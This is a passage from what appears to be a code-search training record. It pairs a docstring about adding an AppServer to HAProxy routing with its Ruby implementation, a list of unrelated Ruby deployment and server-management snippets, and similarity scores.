UserAppClient.new(@userappserver_private_ip, @@secret)\n uac.delete_instance(appid, my_public, @app_info_map[appid]['nginx'])\n uac.add_instance(appid, my_public, http_port)\n\n # Next, rewrite the nginx config file with the new ports\n Djinn.log_info(\"Regenerating nginx config for relocated app #{appid}\")\n @app_info_map[appid]['nginx'] = http_port\n @app_info_map[appid]['nginx_https'] = https_port\n proxy_port = @app_info_map[appid]['haproxy']\n my_private = my_node.private_ip\n login_ip = get_login.private_ip\n\n # Since we've changed what ports the app runs on, we should persist this\n # immediately, instead of waiting for the main thread to do this\n # out-of-band.\n backup_appserver_state\n\n if my_node.is_login?\n static_handlers = HelperFunctions.parse_static_data(appid)\n Nginx.write_fullproxy_app_config(appid, http_port, https_port, my_public,\n my_private, proxy_port, static_handlers, login_ip)\n end\n\n Djinn.log_debug(\"Done writing new nginx config files!\")\n Nginx.reload()\n\n # Same for any cron jobs the user has set up.\n # TODO(cgb): We do this on the login node, but the cron jobs are initially\n # set up on the shadow node. In all supported cases, these are the same\n # node, but there may be an issue if they are on different nodes in\n # the future.\n # TODO(cgb): This doesn't remove the old cron jobs that were accessing the\n # previously used port. This isn't a problem if nothing else runs on that\n # port, or if anything else there.\n CronHelper.update_cron(my_public, http_port,\n @app_info_map[appid]['language'], appid)\n\n # Finally, the AppServer takes in the port to send Task Queue tasks to\n # from a file. Update the file and restart the AppServers so they see\n # the new port. Do this in a separate thread to avoid blocking the caller.\n port_file = \"/etc/appscale/port-#{appid}.txt\"\n HelperFunctions.write_file(port_file, http_port)\n\n Thread.new {\n @nodes.each { |node|\n if node.private_ip != my_node.private_ip\n HelperFunctions.scp_file(port_file, port_file, node.private_ip,\n node.ssh_key)\n end\n next if not node.is_appengine?\n app_manager = AppManagerClient.new(node.private_ip)\n app_manager.restart_app_instances_for_app(appid)\n }\n }\n\n # Once we've relocated the app, we need to tell the XMPPReceiver about the\n # app's new location.\n MonitInterface.restart(\"xmpp-#{appid}\")\n\n return \"OK\"\n end", "def erase_app_instance_info\n uac = UserAppClient.new(@userappserver_private_ip, @@secret)\n app_list = uac.get_all_apps()\n my_public = my_node.public_ip\n\n Djinn.log_info(\"All apps are [#{app_list.join(', ')}]\")\n app_list.each { |app|\n if uac.does_app_exist?(app)\n Djinn.log_debug(\"App #{app} is enabled, so stopping it.\")\n hosts = uac.get_hosts_for_app(app)\n Djinn.log_debug(\"[Stop appengine] hosts for #{app} is [#{hosts.join(', ')}]\")\n hosts.each { |host|\n Djinn.log_debug(\"[Stop appengine] deleting instance for app #{app} at #{host}\")\n ip, port = host.split(\":\")\n uac.delete_instance(app, ip, port)\n }\n\n Djinn.log_info(\"Finished deleting instances for app #{app}\")\n else\n Djinn.log_debug(\"App #{app} wasnt enabled, skipping it\")\n end\n }\n end", "def restart!\n CouchRest.post \"#{@uri}/_restart\"\n end", "def details(*app_names)\n each_app(*app_names) do |server_app|\n \"\\n#{server_app.deploy_details.to_yaml}\"\n end\n end", "def aps_notifications_for_application(application_name, start = 0, count = 1)\n r = redis.lrange(aps_application_queue_key(application_name), start, count)\n r ? r.map { |h| Resque::Plugins::Aps::Notification.new(decode(h)) } : []\n end", "def destroy_older_apps(minutes: TTL_MINUTES, force_refresh: @apps.empty?, on_conflict: :refresh_api_and_continue)\n MUTEX_FILE.flock(File::LOCK_EX)\n\n refresh_app_list if force_refresh\n\n while app = @apps.pop\n age = AppAge.new(created_at: app[\"created_at\"], ttl_minutes: minutes)\n if !age.can_delete?\n @apps.push(app)\n break\n else\n begin\n destroy_with_log(\n id: app[\"id\"],\n name: app[\"name\"],\n reason: \"app age (#{age.in_minutes}m) is older than #{minutes}m\"\n )\n rescue AlreadyDeletedError => e\n if handle_conflict(\n strategy: on_conflict,\n conflict_message: e.message,\n ) == :stop\n break\n end\n end\n end\n end\n ensure\n MUTEX_FILE.flock(File::LOCK_UN)\n end", "def restart_workers_on_latest\n send_status( 'Info', \"Stop and restart all running workers on latest revision\")\n @WORKERS.keys.each do |id|\n info= @WORKERS[id]\n if info['status']=='RUN' # WIP\n cmd= info['cmd'].clone\n #cmd['revision']= '_latest'\n #cmd['revision_small'] = '_latest'\n rev = find_revision( '_latest' )\n cmd['revision']= rev['revision']\n cmd['revision_small']= rev['revision_small']\n @TORESTART[id]= cmd\n manage_worker( { 'worker_id' => id, 'action' => 'QUIT' } )\n end\n end\n @RRESTART= false\n end", "def restart\n dyno = shift_argument\n validate_arguments!\n\n message, options = case dyno\n when NilClass\n [\"Restarting dynos\", {}]\n when /.+\\..+/\n ps = args.first\n [\"Restarting #{ps} dyno\", { :ps => ps }]\n else\n type = args.first\n [\"Restarting #{type} dynos\", { :type => type }]\n end\n\n action(message) do\n api.post_ps_restart(app, options)\n end\n end", "def destroy(name)\n\t\tdelete(\"/apps/#{name}\")\n\tend", "def destroy(name)\n\t\tdelete(\"/apps/#{name}\")\n\tend", "def use_controllers!(controller_names)\n @possible_controllers = controller_names\n end", "def all_deploy_names reload=false\n return @all_deploy_names if @all_deploy_names && !reload\n\n @all_deploy_names =\n @shell.call(\"ls -rc1 #{self.deploys_path}\").split(\"\\n\")\n end", "def find_application\n unless self.app_name.blank?\n my_apps = []\n # in the case of an array, the new finder will not work\n Array(self.app_name).each do |individual_name|\n new_apps = App.active.by_short_or_long_name(individual_name)\n logger.info \"new_apps\" + new_apps.inspect\n my_apps += new_apps unless new_apps.blank?\n logger.info \"my_apps\" + my_apps.inspect\n end\n unless my_apps.blank? || my_apps.length != Array(self.app_name).length\n self.apps << my_apps - self.apps\n else\n self.application_lookup_failed = true\n end\n end\n # be sure the call back returns true or else the call will fail with no error message\n # from the validation loop\n return true\n end", "def on_restart(&block); end", "def update(vals)\n # Synchronize this in case uuids are deleted\n @mutex.synchronize do\n _uuids = uuids\n threads = vals.select{|k,v| _uuids.include?(k) }.map do |uuid,data|\n Thread.new do\n begin\n @running_apps[uuid].update(data)\n rescue ArgumentError\n # Sometimes we enter a race condition with app creation/deletion\n # This will cause the MonitoredGear object to not be created\n # We can ignore this error and retry it next time\n end\n end\n end\n threads.map(&:join)\n end\n end", "def delete\n @exists = apps.include?(params[:app])\n @app = params[:app] unless @exists == false\n\n if @exists\n `rm #{File.expand_path(\"~/.pow/#{@app}\")}`\n redirect_to root_path, :notice => \"Pow app deleted\"\n else\n render :text => \"Given app is not a Pow app\"\n end\n end", "def cmd_restart argv\n setup argv\n response = @api.restart\n msg response\n return response\n end", "def run_deploys(deployments, app_name, app_data)\n did_we_deploy = false\n\n deployments.each do |application, deploy|\n\n if application != app_name\n debug_log(\"#{application} skipped: #{app_name}\")\n next\n end\n\n layer_name = app_data['layer']\n next unless allow_deploy(application, app_name, layer_name)\n\n debug_log('Deployment started')\n debug_log(\"Deploying as user: #{deploy['user']} and #{deploy['group']}\")\n\n easybib_deploy application do\n deploy_data deploy\n end\n\n did_we_deploy = true\n\n nginx_config = app_data.fetch('nginx', nil)\n next if nginx_config.nil? # no nginx\n\n config_template = get_template(nginx_config)\n next if config_template.nil? # no nginx\n\n config_cookbook = get_cookbook(nginx_config)\n\n listen_opts = get_additional('listen_opts', app_data)\n\n easybib_nginx application do\n cookbook config_cookbook\n config_template config_template\n domain_name deploy['domains'].join(' ')\n doc_root deploy['document_root']\n htpasswd \"#{deploy['deploy_to']}/current/htpasswd\"\n listen_opts listen_opts\n notifies :reload, 'service[nginx]', :delayed\n notifies node['php-fpm']['restart-action'], 'service[php-fpm]', :delayed\n end\n end\n\n did_we_deploy\nend", "def restart(params)\n services = services_from_params(params)\n if @environment.in_dry_run_mode\n services.each do |agent|\n notify(:msg => \"[#{@name}] Would restart #{agent.host} (#{agent.type})\",\n :tags => [:galaxy, :dryrun])\n end\n services\n else\n command = ::Galaxy::Commands::RestartCommand.new([], @galaxy_options)\n command.report = GalaxyGatheringReport.new(@environment,\n '[' + @name + '] Restarted #{agent.host} (#{agent.type})',\n [:galaxy, :trace])\n execute(command, services)\n command.report.results\n end\n end", "def update(vals)\n # Synchronize this in case uuids are deleted\n @mutex.synchronize do\n _uuids = uuids\n threads = vals.select { |k, _| _uuids.include?(k) }.map do |uuid, data|\n Thread.new do\n begin\n @running_apps[uuid].update(data)\n rescue ArgumentError\n # Sometimes we enter a race condition with app creation/deletion\n # This will cause the MonitoredGear object to not be created\n # We can ignore this error and retry it next time\n end\n end\n end\n threads.map(&:join)\n end\n end", "def action_restart\n return if options['never_restart']\n action_stop\n action_start\n end", "def set_application_name(name)\n __remote_control_command(\"setScApplicationName\", [name,])\n end", "def stopApplication(name)\n debug(\"Stoppping application '\", name, \"'\")\n ctxt = @applications[name]\n if (ctxt == nil)\n raise \"Unknown application '#{name}' (#{@applications.keys.join(', ')})\"\n end\n send(:EXIT, name)\n end", "def reconnect(*client_names)\n return unless connection\n\n connection.client.reconnect\n\n unless narrow?\n clients_from(*client_names).each { |client_name|\n redis = @clients[client_name]\n redis.client.reconnect if redis\n }\n end\n\n connection\n end", "def require_apps\n Dir[\"#{Waxx[\"opts\"][:base]}/app/*\"].each{|f|\n next if f =~ /\\/app\\.rb$/ # Don't reinclude app.rb\n require f if f =~ /\\.rb$/ # Load files in the app directory \n if File.directory? f # Load top-level apps\n name = f.split(\"/\").last\n require \"#{f}/#{name}\" if File.exist? \"#{f}/#{name}.rb\"\n end\n }\n end", "def start_app\nend", "def app_proxy(*keys)\n options = {:orginal_receiver => ''}\n options.update(keys.pop) if keys.last.kind_of?(Hash)\n options[:sections] = [:app] + keys\n CachedLangSectionProxy.new options\n end", "def rename\n name = extract_app\n newname = args.shift.downcase.strip rescue ''\n raise(Heroku::Command::CommandFailed, \"Must specify a new name.\") if newname == ''\n\n heroku.update(name, :name => newname)\n\n info = heroku.info(newname)\n display [ info[:web_url], info[:git_url] ].join(\" | \")\n\n if remotes = git_remotes(Dir.pwd)\n remotes.each do |remote_name, remote_app|\n next if remote_app != name\n if has_git?\n git \"remote rm #{remote_name}\"\n git \"remote add #{remote_name} git@#{heroku.host}:#{newname}.git\"\n display \"Git remote #{remote_name} updated\"\n end\n end\n else\n display \"Don't forget to update your Git remotes on any local checkouts.\"\n end\n end", "def flush_and_load_applications\n\t\t\t@r.flushall # Only hardcode baby!!!\n\n\t\t\t# Restoring all default applications \n\t\t\t@config[\"defaults\"][\"applications\"].each do |k,app|\n\t\t\t\t@r.set(\"apps:#{app['key']}\", app.reject{|a,v| a.eql?('key') }.to_json )\n\t\t\tend\n\t\t\t# We need this! Yeah baby we need this\n\t\t\t@r.bgsave\n\n\t\t\t# Puting alert that database cleaned\n\t\t\tputs \"\"\n\t\t\tputs \"ACHTUNG!: Database cleaned and default applications id loaded\"\n\t\t\tputs \"\"\n\t\tend", "def stop_unicorn\n system(\"ps -aux | grep unicorn\")\n puts \"Stoping unicorn...\"\n for app in @apps\n if @env == :deployment\n pid_file = \"#{APP_PATH}/log/unicorn.pid\"\n puts \"=> Reading pid from #{pid_file}\" \n if File.exist?(pid_file)\n system(\"kill -QUIT `cat #{pid_file}`\")\n else\n puts \"ERROR => pid file doesn't exist\"\n end\n end\n break\n end\n sleep(1)\n system(\"ps -aux | grep unicorn\")\nend", "def terminate_instances(*instance_ids)\n action = 'TerminateInstances'\n params = {\n 'Action' => action\n }\n params.merge!(array_to_params(instance_ids, 'InstanceId'))\n\n response = send_query_request(params)\n response.is_a?(Net::HTTPSuccess)\n end", "def applications=(value)\n @applications = value\n end", "def applications=(value)\n @applications = value\n end", "def restart\n\trequire_relative '../../lib/falcon/command/supervisor'\n\t\n\tFalcon::Command::Supervisor[\"restart\"].call\nend", "def update_instances(elb_name, instances_added, instances_removed = [])\n\n # deregister instances that were removed\n if !instances_removed.empty?\n @elb.deregister_instances_from_load_balancer({\n load_balancer_name: elb_name,\n instances: instances_removed.map do |i|\n {\n instance_id: i\n }\n end\n })\n end\n\n # register instances that were added\n if !instances_added.empty?\n @elb.register_instances_with_load_balancer({\n load_balancer_name: elb_name,\n instances: instances_added.map do |i|\n {\n instance_id: i\n }\n end\n })\n end\n end", "def launch_all\n @servers.each { |s|\n begin\n obj_behavior(s, :start)\n rescue Exception => e\n raise e unless e.message =~ /AlreadyLaunchedError/\n end\n }\n end", "def restart_ecs_tasks instances\n instances.each do |i_id, meta|\n tries = 0\n begin\n tries = tries + 1\n Logging.log \"Restarting ECS task for #{meta['name']} (##{tries} try)\".colorize(:yellow)\n fail 'not running' unless AWS::CLI_Interface.ec2_instance_status(i_id) == AWS::EC2_CONS::RUNNING\n AWS::CLI_Interface.ecs_run_task meta['ecs']['cluster'], meta['ecs']['task']\n rescue\n Logging.log \"#{meta['name']} not fully running yet. Waiting 120 seconds for next try\".colorize(:red)\n progressbar = ProgressBar.create\n 100.times do\n progressbar.increment\n sleep 1.2\n end\n retry if tries < 5\n end\n end\n end", "def run_on_changes(paths)\n restart\n end", "def destroy(name)\n delete(\"/apps/#{name}\").to_s\n end", "def modify_application(app_name, namespace, new_public_hostname)\n # delete the CNAME record for the application in the domain\n fqdn = \"#{app_name}-#{namespace}.#{@domain_suffix}\"\n\n # Get the record you mean to delete.\n # We need the TTL and value to delete it.\n record = get_record(fqdn)\n\n # If record is nil, then we're done. Raise an exception for trying?\n return if record == nil\n ttl = record[:ttl]\n old_public_hostname = record[:resource_records][0][:value]\n\n update = {\n :comment => \"Update an application record for #{fqdn}\",\n :changes => [change_record(\"DELETE\", fqdn, @ttl, old_public_hostname),\n change_record(\"CREATE\", fqdn, @ttl, new_public_hostname)]\n }\n \n\n res = r53.change_resource_record_sets({\n :hosted_zone_id => @aws_hosted_zone_id,\n :change_batch => update\n })\n end", "def restart_caches(caches: [])\n input = {\n config: config,\n properties: properties,\n api_name: \"RestartCaches\",\n request_method: \"GET\",\n request_params: {\n \"caches\" => caches,\n },\n }\n\n restart_caches_input_validate input\n\n request = Request.new input\n request.send\n end", "def remove_app_paths(*args)\n args.each { |arg| self.app_paths.delete(arg) }\n end", "def app_name\n \"ExampleApp#{$example_app_counter}\"\n end", "def restart(cart_name)\n cart_model.do_control(\"restart\", cart_name)\n end", "def apps=(value)\n @apps = value\n end", "def run_on_removals(paths)\n paths.each do |path|\n system \"theme remove #{path}\"\n end\n end", "def redeploy\n shelly.redeploy(code_name)[\"deployment\"][\"id\"]\n end", "def do_with_retry(action, num_tries=2)\n (1..num_tries).each do |i|\n begin\n yield\n if (i > 1)\n log_debug \"DEBUG: Action '#{action}' succeeded on try #{i}. You can ignore previous error messages or following mcollective debug related to '#{action}'\"\n end\n break\n rescue Exception => e\n log_debug \"DEBUG: Error performing #{action} on existing app on try #{i}: #{e.message}\"\n raise if i == num_tries\n end\n end\n end", "def restart_service\n service 'consul-haproxy' do\n action :restart\n end\nend" ]
[ "0.7103693", "0.638339", "0.63114", "0.6247003", "0.60410404", "0.5946801", "0.5723514", "0.57176965", "0.5648942", "0.55736613", "0.5540254", "0.54087836", "0.53502554", "0.53469425", "0.5303953", "0.5221235", "0.5207263", "0.5165295", "0.5155961", "0.5124913", "0.5098495", "0.5071835", "0.50612104", "0.5056508", "0.4974616", "0.49638242", "0.4959395", "0.4951982", "0.49456367", "0.4931876", "0.49282378", "0.49276483", "0.4924615", "0.48758477", "0.48738557", "0.48721004", "0.4872093", "0.48451185", "0.484013", "0.4814658", "0.48070914", "0.47898996", "0.47717798", "0.4723927", "0.4714525", "0.4709395", "0.46938148", "0.46914536", "0.4676242", "0.4675353", "0.46745086", "0.4649723", "0.4640563", "0.46387056", "0.4638011", "0.46379742", "0.46371165", "0.46335176", "0.46311697", "0.4620432", "0.4620432", "0.4619216", "0.46045798", "0.4604167", "0.46007344", "0.45979926", "0.45891672", "0.45801508", "0.45768714", "0.45724395", "0.45664212", "0.45562103", "0.45556164", "0.45454004", "0.45448902", "0.45442697", "0.45404214", "0.4537005", "0.45279136", "0.4523704", "0.45002487", "0.44974315", "0.44939741", "0.44939741", "0.448534", "0.4481915", "0.44771233", "0.44693476", "0.4467632", "0.44667998", "0.4462077", "0.44539058", "0.4453713", "0.4451091", "0.44453183", "0.44321775", "0.44296598", "0.44238287", "0.44235763", "0.44220114" ]
0.8250547
0
Tells an AppController to route HAProxy traffic to the given location. Args: app_id: A String that identifies the application that runs the new AppServer. ip: A String that identifies the private IP address where the new AppServer runs. port: A Fixnum that identifies the port where the new AppServer runs at ip. secret: A String that is used to authenticate the caller.
def add_appserver_to_haproxy(app_id, ip, port) make_call(NO_TIMEOUT, RETRY_ON_FAIL, "add_appserver_to_haproxy") { @conn.add_appserver_to_haproxy(app_id, ip, port, @secret) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_appserver_to_haproxy(app_id, ip, port, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n if !my_node.is_login?\n return NO_HAPROXY_PRESENT\n end\n\n if @app_info_map[app_id].nil? or @app_info_map[app_id]['appengine'].nil?\n return NOT_READY\n end\n\n Djinn.log_debug(\"Adding AppServer for app #{app_id} at #{ip}:#{port}\")\n get_scaling_info_for_app(app_id)\n @app_info_map[app_id]['appengine'] << \"#{ip}:#{port}\"\n HAProxy.update_app_config(my_node.private_ip, app_id,\n @app_info_map[app_id])\n get_scaling_info_for_app(app_id, update_dashboard=false)\n\n return \"OK\"\n end", "def remove_appserver_from_haproxy(app_id, ip, port, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n if !my_node.is_login?\n return NO_HAPROXY_PRESENT\n end\n\n Djinn.log_debug(\"Removing AppServer for app #{app_id} at #{ip}:#{port}\")\n get_scaling_info_for_app(app_id)\n @app_info_map[app_id]['appengine'].delete(\"#{ip}:#{port}\")\n HAProxy.update_app_config(my_node.private_ip, app_id,\n @app_info_map[app_id])\n get_scaling_info_for_app(app_id, update_dashboard=false)\n\n return \"OK\"\n end", "def add_appserver_process(app_id, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n # Starting a appserver instance on request to scale the application \n app = app_id\n @state = \"Adding an AppServer for #{app}\"\n\n uac = UserAppClient.new(@userappserver_private_ip, @@secret)\n app_manager = AppManagerClient.new(my_node.private_ip)\n\n warmup_url = \"/\"\n\n app_data = uac.get_app_data(app)\n \n Djinn.log_debug(\"Get app data for #{app} said [#{app_data}]\")\n\n loop {\n Djinn.log_info(\"Waiting for app data to have instance info for app named #{app}: #{app_data}\")\n\n app_data = uac.get_app_data(app)\n if app_data[0..4] != \"Error\"\n break\n end\n Kernel.sleep(5)\n }\n \n app_language = app_data.scan(/language:(\\w+)/).flatten.to_s\n my_public = my_node.public_ip\n my_private = my_node.private_ip\n\n app_is_enabled = uac.does_app_exist?(app)\n Djinn.log_debug(\"is app #{app} enabled? #{app_is_enabled}\")\n if app_is_enabled == \"false\"\n return \n end\n\n appengine_port = find_lowest_free_port(STARTING_APPENGINE_PORT)\n Djinn.log_debug(\"Adding #{app_language} app #{app} on \" +\n \"#{HelperFunctions.local_ip}:#{appengine_port} \")\n\n xmpp_ip = get_login.public_ip\n\n result = app_manager.start_app(app, appengine_port, get_load_balancer_ip(),\n app_language, xmpp_ip, [Djinn.get_nearest_db_ip()],\n HelperFunctions.get_app_env_vars(app))\n\n if result == -1\n Djinn.log_error(\"ERROR: Unable to start application #{app} on port \" +\n \"#{appengine_port}.\")\n end\n\n # Tell the AppController at the login node (which runs HAProxy) that a new\n # AppServer is running.\n acc = AppControllerClient.new(get_login.private_ip, @@secret)\n acc.add_appserver_to_haproxy(app, my_node.private_ip, appengine_port)\n end", "def relocate_app(appid, http_port, https_port, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n Djinn.log_debug(\"@app_info_map is #{@app_info_map.inspect}\")\n http_port = Integer(http_port)\n https_port = Integer(https_port)\n\n # First, only let users relocate apps to ports that the firewall has open\n # for App Engine apps.\n if http_port != 80 and (http_port < 8080 or http_port > 8100)\n return \"Error: HTTP port must be 80, or in the range 8080-8100.\"\n end\n\n if https_port != 443 and (https_port < 4380 or https_port > 4400)\n return \"Error: HTTPS port must be 443, or in the range 4380-4400.\"\n end\n\n # Next, make sure that no other app is using either of these ports for\n # nginx, haproxy, or the AppServer itself.\n @app_info_map.each { |app, info|\n # Of course, it's fine if it's our app on a given port, since we're\n # relocating that app.\n next if app == appid\n\n if [http_port, https_port].include?(info['nginx'])\n return \"Error: Port in use by nginx for app #{app}\"\n end\n\n if [http_port, https_port].include?(info['nginx_https'])\n return \"Error: Port in use by nginx for app #{app}\"\n end\n\n if [http_port, https_port].include?(info['haproxy'])\n return \"Error: Port in use by haproxy for app #{app}\"\n end\n\n # On multinode deployments, the login node doesn't serve App Engine apps,\n # so this may be nil.\n if info['appengine']\n info['appengine'].each { |appserver_port|\n if [http_port, https_port].include?(appserver_port)\n return \"Error: Port in use by AppServer for app #{app}\"\n end\n }\n end\n }\n\n if RESERVED_APPS.include?(appid)\n return \"Error: Can't relocate the #{appid} app.\"\n end\n\n # Next, remove the old port from the UAServer and add the new one.\n my_public = my_node.public_ip\n uac = UserAppClient.new(@userappserver_private_ip, @@secret)\n uac.delete_instance(appid, my_public, @app_info_map[appid]['nginx'])\n uac.add_instance(appid, my_public, http_port)\n\n # Next, rewrite the nginx config file with the new ports\n Djinn.log_info(\"Regenerating nginx config for relocated app #{appid}\")\n @app_info_map[appid]['nginx'] = http_port\n @app_info_map[appid]['nginx_https'] = https_port\n proxy_port = @app_info_map[appid]['haproxy']\n my_private = my_node.private_ip\n login_ip = get_login.private_ip\n\n # Since we've changed what ports the app runs on, we should persist this\n # immediately, instead of waiting for the main thread to do this\n # out-of-band.\n backup_appserver_state\n\n if my_node.is_login?\n static_handlers = HelperFunctions.parse_static_data(appid)\n Nginx.write_fullproxy_app_config(appid, http_port, https_port, my_public,\n my_private, proxy_port, static_handlers, login_ip)\n end\n\n Djinn.log_debug(\"Done writing new nginx config files!\")\n Nginx.reload()\n\n # Same for any cron jobs the user has set up.\n # TODO(cgb): We do this on the login node, but the cron jobs are initially\n # set up on the shadow node. In all supported cases, these are the same\n # node, but there may be an issue if they are on different nodes in\n # the future.\n # TODO(cgb): This doesn't remove the old cron jobs that were accessing the\n # previously used port. This isn't a problem if nothing else runs on that\n # port, or if anything else there.\n CronHelper.update_cron(my_public, http_port,\n @app_info_map[appid]['language'], appid)\n\n # Finally, the AppServer takes in the port to send Task Queue tasks to\n # from a file. Update the file and restart the AppServers so they see\n # the new port. Do this in a separate thread to avoid blocking the caller.\n port_file = \"/etc/appscale/port-#{appid}.txt\"\n HelperFunctions.write_file(port_file, http_port)\n\n Thread.new {\n @nodes.each { |node|\n if node.private_ip != my_node.private_ip\n HelperFunctions.scp_file(port_file, port_file, node.private_ip,\n node.ssh_key)\n end\n next if not node.is_appengine?\n app_manager = AppManagerClient.new(node.private_ip)\n app_manager.restart_app_instances_for_app(appid)\n }\n }\n\n # Once we've relocated the app, we need to tell the XMPPReceiver about the\n # app's new location.\n MonitInterface.restart(\"xmpp-#{appid}\")\n\n return \"OK\"\n end", "def remove_appserver_from_haproxy(app_id, ip, port)\n make_call(NO_TIMEOUT, RETRY_ON_FAIL, \"remove_appserver_from_haproxy\") {\n @conn.remove_appserver_from_haproxy(app_id, ip, port, @secret)\n }\n end", "def remove_appserver_process(app_id, port, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n app = app_id\n @state = \"Stopping an AppServer to free unused resources\"\n Djinn.log_debug(\"Deleting appserver instance to free up unused resources\")\n\n uac = UserAppClient.new(@userappserver_private_ip, @@secret)\n app_manager = AppManagerClient.new(my_node.private_ip)\n warmup_url = \"/\"\n\n my_public = my_node.public_ip\n my_private = my_node.private_ip\n\n app_data = uac.get_app_data(app)\n\n Djinn.log_debug(\"Get app data for #{app} said [#{app_data}]\")\n\n app_is_enabled = uac.does_app_exist?(app)\n Djinn.log_debug(\"is app #{app} enabled? #{app_is_enabled}\")\n if app_is_enabled == \"false\"\n return\n end\n\n if !app_manager.stop_app_instance(app, port)\n Djinn.log_error(\"Unable to stop instance on port #{port} app #{app_name}\")\n end\n\n # Tell the AppController at the login node (which runs HAProxy) that this\n # AppServer isn't running anymore.\n acc = AppControllerClient.new(get_login.private_ip, @@secret)\n acc.remove_appserver_from_haproxy(app, my_node.private_ip, port)\n\n # And tell the AppDashboard that the AppServer has been killed.\n delete_instance_from_dashboard(app, \"#{my_node.private_ip}:#{port}\")\n end", "def start(app, app_id = nil)\n defer = @web.defer\n app_id = app_id || AppStore.lookup(app)\n\n if app_id != nil && @status == :running\n @web.schedule do\n bindings = @bindings[app_id] ||= []\n starting = []\n\n bindings.each do |binding|\n starting << binding.bind\n end\n defer.resolve(::Libuv::Q.all(@web, *starting))\n end\n elsif app_id.nil?\n defer.reject('application not loaded')\n else\n defer.reject('server not running')\n end\n\n defer.promise\n end", "def start_app_dashboard(login_ip, uaserver_ip)\n @state = \"Starting up Load Balancer\"\n Djinn.log_info(\"Starting up Load Balancer\")\n\n my_public = my_node.public_ip\n my_private = my_node.private_ip\n AppDashboard.start(login_ip, uaserver_ip, my_public, my_private, @@secret)\n HAProxy.create_app_load_balancer_config(my_public, my_private, \n AppDashboard::PROXY_PORT)\n Nginx.create_app_load_balancer_config(my_public, my_private, \n AppDashboard::PROXY_PORT)\n HAProxy.start\n Nginx.reload\n @app_info_map[AppDashboard::APP_NAME] = {\n 'nginx' => 1080,\n 'nginx_https' => 1443,\n 'haproxy' => AppDashboard::PROXY_PORT,\n 'appengine' => [\"#{my_private}:8000\", \"#{my_private}:8001\",\n \"#{my_private}:8002\"],\n 'language' => 'python27'\n }\n end", "def initialize(app, host: '0.0.0.0', port: Roby::Interface::DEFAULT_REST_PORT,\n api: REST::API)\n @app = app\n @host = host\n @interface = Interface.new(app)\n @wait_start = Concurrent::IVar.new\n\n api = self.class.attach_api_to_interface(api, @interface)\n rack_app = Rack::Builder.new do\n yield(self) if block_given?\n\n map '/api' do\n run api\n end\n end\n @server = Thin::Server.new(host, port, rack_app, signals: false)\n @server.silent = true\n if @server.backend.respond_to?(:port)\n @original_port = port\n if port != 0\n @port = port\n end\n else\n @original_port = @port = nil\n end\n end", "def initialize(ip, secret)\n @ip = ip\n @secret = secret\n \n @conn = SOAP::RPC::Driver.new(\"https://#{@ip}:17443\")\n @conn.add_method(\"set_parameters\", \"djinn_locations\", \"database_credentials\", \"app_names\", \"secret\")\n @conn.add_method(\"set_apps\", \"app_names\", \"secret\")\n @conn.add_method(\"set_apps_to_restart\", \"apps_to_restart\", \"secret\")\n @conn.add_method(\"status\", \"secret\")\n @conn.add_method(\"get_stats\", \"secret\")\n @conn.add_method(\"update\", \"app_names\", \"secret\")\n @conn.add_method(\"stop_app\", \"app_name\", \"secret\") \n @conn.add_method(\"get_all_public_ips\", \"secret\")\n @conn.add_method(\"is_done_loading\", \"secret\")\n @conn.add_method(\"is_done_initializing\", \"secret\")\n @conn.add_method(\"add_role\", \"new_role\", \"secret\")\n @conn.add_method(\"remove_role\", \"old_role\", \"secret\")\n @conn.add_method(\"get_queues_in_use\", \"secret\")\n @conn.add_method(\"add_appserver_to_haproxy\", \"app_id\", \"ip\", \"port\",\n \"secret\")\n @conn.add_method(\"remove_appserver_from_haproxy\", \"app_id\", \"ip\", \"port\",\n \"secret\")\n @conn.add_method(\"add_appserver_process\", \"app_id\", \"secret\")\n @conn.add_method(\"remove_appserver_process\", \"app_id\", \"port\", \"secret\")\n end", "def initialize(app_id, secret)\n options = {\n site: Parameter::SITE,\n authorize_url: AUTHORIZE_URL,\n token_url: TOKEN_URL\n }\n\n raise 'ใ‚ขใƒ—ใƒชใ‚ฑใƒผใ‚ทใƒงใƒณIDใŒๅ…ฅๅŠ›ใ•ใ‚Œใฆใ„ใพใ›ใ‚“' if app_id.empty?\n raise 'SecretใŒๅ…ฅๅŠ›ใ•ใ‚Œใฆใ„ใพใ›ใ‚“' if secret.empty?\n @client = OAuth2::Client.new(app_id, secret, options)\n end", "def get_app the_host, the_user, the_pass\n app = ImapClear::App.new\n app.host = the_host\n app.port = 993\n app.user = the_user\n app.pass = the_pass\n\n app\nend", "def update(id, ip)\n if routingTable.empty?\n puts 'Table empty'\n end\n if routingTable.has_key?(id)\n #raise Exception, 'Index exists in Network. Index\\'s (Node ID\\'s) must be unique'\n else\n puts \"Adding #{id} and #{ip} to routing table\"\n routingTable[id] = ip\n end\n end", "def connections_handler(id, ip)\n\t# show who connected\n\tputs \"[ID #{id}] connected from #{ip}\"\n\t# delete the hash entry if it already exists\n\t@clients.delete_if {|key, value| key == id }\n\t# add the new entry to the clients hash\n\t@clients[id] = { :ip => ip }\n\t#show how many clients we have\n\tputs \"Clients connected: #{@server.clients_count} of #{@server.max_clients}\"\nend", "def delegate\n @app.call(@env)\n end", "def poke(app, ip)\n\t\tupdate_attribute(:client_application_id, app.id) if app\n\t\tupdate_attribute(:last_ip, ip) if ip\n\t\tupdate_attribute(:status, :online)\n\tend", "def put_secret(host, secret, options = {})\n raise RuntimeError, \"abstract function: must be implemented on includer\"\n end", "def init_proxy(env, secret)\n record = SystemConsole.find_by!(:url_secret => secret) # Retrieve the ticket record using the secret\n\n begin\n ws_sock = env['rack.hijack'].call # Hijack the socket from the incoming HTTP connection\n console_sock = TCPSocket.open(record.host_name, record.port) # Open a TCP connection to the remote endpoint\n\n ws_sock.autoclose = false\n console_sock.autoclose = false\n\n # These adapters will be used for reading/writing from/to the particular sockets\n @adapters[console_sock] = ClientAdapter.new(record, console_sock)\n @adapters[ws_sock] = ServerAdapter.new(record, env, ws_sock)\n\n @proxy.push(ws_sock, console_sock)\n rescue StandardError => ex\n cleanup(:error, \"RemoteConsole proxy for VM %{vm_id} errored with #{ex} #{ex.backtrace.join(\"\\n\")}\", console_sock, ws_sock, record)\n RACK_404\n else\n 